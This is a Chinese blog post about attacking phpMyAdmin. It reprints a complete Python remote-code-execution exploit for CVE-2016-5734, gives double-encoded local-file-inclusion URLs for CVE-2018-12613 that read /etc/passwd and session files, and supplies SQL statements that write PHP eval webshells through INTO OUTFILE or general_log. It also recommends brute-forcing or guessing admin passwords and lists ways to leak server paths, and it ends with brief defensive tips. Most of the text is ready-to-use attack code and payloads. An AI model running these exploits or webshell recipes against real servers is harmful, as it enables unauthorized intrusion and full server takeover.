目录
  1. 1. phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
    1. 1.1. 受影响版本
    2. 1.2. 环境搭建
    3. 1.3. 漏洞分析
    4. 1.4. 漏洞复现
  2. 2. phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
    1. 2.1. 漏洞分析
    2. 2.2. 漏洞利用
  3. 3. phpmyadmin 利用日志写 webshell
    1. 3.1. 如何进入 phpmyadmin ?
    2. 3.2. 如何寻找路径?
    3. 3.3. 开始执行SQL语句
      1. 3.3.1. secure_file_priv值为空
      2. 3.3.2. secure_file_priv值不为空
  4. 4. 防御手法
关于 phpmyamdin 的那些事

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

受影响版本

4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本

环境搭建

vulhub

漏洞分析

PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

漏洞核心代码

<?php
$raw = $_POST['raw'];
$replace = $_POST['replace'];
$text = $_POST['text'];

$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

php版本小于5.4.7时,00截断的妙用
向pattern中注入空字符产生截断,并传入e修饰符,使得我们可控的replacement代码执行

<?php
$raw = $_POST['raw'];
$replace = $_POST['replace'];
$text = $_POST['text'];

$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

POST 参数

raw = test/e%00
&replace = system('ls')
&text = test

漏洞复现

  • 限制:
    1. 知道phpMyAdmin的路径,并且可以使用账号密码登录成功。
    2. 知道对应db的table,或者在db中有创建table的权限

poc: EXPLOIT DATABASE

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

利用

python exp.py -c 'system(ls);' -u root -p root -d test http://localhost:8967/

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞分析

学习资料:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

文件: phpMyAdmin-4.8.1-all-languages.zip

漏洞核心:/index.php 具有 include $_REQUEST['target']; ——》LFI

限制如下:

$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
```

1. `target `不为空
2. `target `是一个字符串
3. `target `开头不能为 `index`
4. `target `不在黑名单内,只要不是 import.php 或 export.php 就行
5. `target `要经过 `Core` 类的 `checkPageValidity` 方法

跟进 `Core` 类的 `checkPageValidity` 方法

```php
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
);

public static function checkPageValidity(&$page, array $whitelist = [])
{
// 判断 $whitelist 是否为空,如果为空则取默认的一组
if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
$whitelist = self::$goto_whitelist;
}

if (! isset($page) || !is_string($page)) {
return false;
}

// 判断 $page 是否在白名单
if (in_array($page, $whitelist)) {
return true;
}

// 分割 $page 的参数,取 ? 前的文件名,判断是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

// url 解码后执行和上一步相同的操作
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

Bypass核心思路: urldecode(),利用二次编码绕过

漏洞利用

搭建环境:vulhub

漏洞路径:/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

这里演示一下读取 /etc/passwd 文件

或者可以包含 session 文件

首先在 SQL 查询处执行 SELECT '<?=phpinfo()?>';

然后在 cookie 里复制自己的 sessionid

访问 session 存放路径 /tmp/sess_你的sessionid

这里访问:http://xxx.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_a23f4cdd98874767ea200097db94d9b8

phpmyadmin 利用日志写 webshell

经过弱口令,爆破,目录泄露等途径已经获知PhpMyadmin的账号密码。接下来我们就通过phpMyadmin来写入webshell

如何进入 phpmyadmin ?

  • 账号名为 root

    1. root root 默认账号密码登录
    2. phpmyadmin 账号密码多线程爆破工具,直接google就有很多下载链接
    3. 通过一些其他途径,比如猜,社工等
  • 账号名不为 root

    1. 结合相关信息猜出账号名
    2. phpmyadmin账号密码多线程爆破工具
    3. 据说phpmyamdin低于某个版本号可以置空密码,用户名输入一串字符直接进入

如何寻找路径?

  • phpinfo

  • 执行sql语句 SELECT @@datadir;

  • phpmyadmin主页

    • 找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。
    1. /phpmyadmin/libraries/lect_lang.lib.php
    2. /phpMyAdmin/index.php?lang[]=1
    3. /phpMyAdmin/phpinfo.php
    4. load_file()
    5. /phpmyadmin/themes/darkblue_orange/layout.inc.php
    6. /phpmyadmin/libraries/select_lang.lib.php
    7. /phpmyadmin/libraries/lect_lang.lib.php
    8. /phpmyadmin/libraries/mcrypt.lib.php
  • 错误的页面

    • 单引号爆路径: 在页面后门加单引号,如果网站没有过滤单引号且产生错误,一般会返回 错误页面可以读取到物理路径。
    • 错误参数值爆路径: 在可以post参数的位置,提交错误参数使网站出错,有时会得到物理路径。
    • Google爆路径: 通过google语法搜索对应网站包含warning、fatal error的页面,如Site:xxx.com warning和Site:xxx.com.cn “fatal error”,很容易找到错误路径。
      • 错误解析爆路径: 很多服务器,如果访问一个不存在的php页面等因为不存在而无法解析的页面,会返回解析错误页面,会得到物理路径。
  • 猜路径

    • lamp套件: /var/www/html/index.php
    • lnmp套件: /home/wwwroot/default
    • wamp套件: C:/wamp/www或者D:/wamp/www
    • iis服务器: D:/vhost/wwwroot/www
    • phpstudy套件: D:/phpstudy/www
  • 还可以获取的内容
    1.操作系统
    2.服务器
    3.网站默认路径
    4.PHP版本
    5.mysql版本

其实最主要的还是网站的绝对路径

开始执行SQL语句

先判断 secure-file-priv参数的属性

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

phpMyadmin执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";

然后分为两步操作

secure_file_priv值为空

尝试直接写一句话木马上传
select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'xxx\xxx\xxx\xxx\WWW\shell.php'

报错
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

发生了报错,但是不要慌,问题不大,我们通过日志文件可以轻松的解决这个问题

首先查看日志
SHOW VARIABLES LIKE 'general%';

开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在该路径下的一个log文件中,其实就是我们常说的日志文件。我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用

set global general_log = "ON";

SET global general_log_file='XXX/XXX/XXX/XXX/XXX/shell.php';

由于开了日志记录,这个时候查询一句话会被日志记录下来
select '<?php eval($_POST['yijuhua']);?>';

然后直接上菜刀即可…


secure_file_priv值不为空

尝试直接写一句话木马上传
select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'xxx\xxx\xxx\xxx\WWW\shell.php'

成功上传…然后拿起菜刀一把梭…

当然一句话还可以这样插入

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);
INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `inform` from `mysql`.`informationes` into outfile 'c:/phpStudy/PHPTutorial/WWW/infos.php';
DROP table if exists `mysql`.`informationes`;
(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

比上面简单一点的插入语句

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[1]);?>");
select cmd from a into outfile "C:/APM/htdocs/phpMyAdmin/libraries/d.php";
Drop TABLE IF EXISTS a;

创建一个A表 写入<?php eval($_POST[1]);?> 熟悉这个的都知道 这个就是一句话了

1是密码 可以自行修改

把里面的信息输出到 phpMyAdmin/libraries/d.php 这个文件

d.php 名字也可以自己入

Drop TABLE IF EXISTS a 如果有 A表 将删除

然后执行

防御手法

  1. 更改phpmyadmin的密码,更新phpmyadmin的版本
  2. 关闭掉phpmyadmin的对外访问,只允许在服务器里打开phpmyadmin的界面,外网无法打开
  3. 对网站的根目录部署防篡改安全防护,禁止新增PHP文件



参考链接
vulhub
CVE-2016-5734 phpMyAdmin认证用户远程代码执行漏洞分析

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/06/12/关于 phpmyadmin 的那些事/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论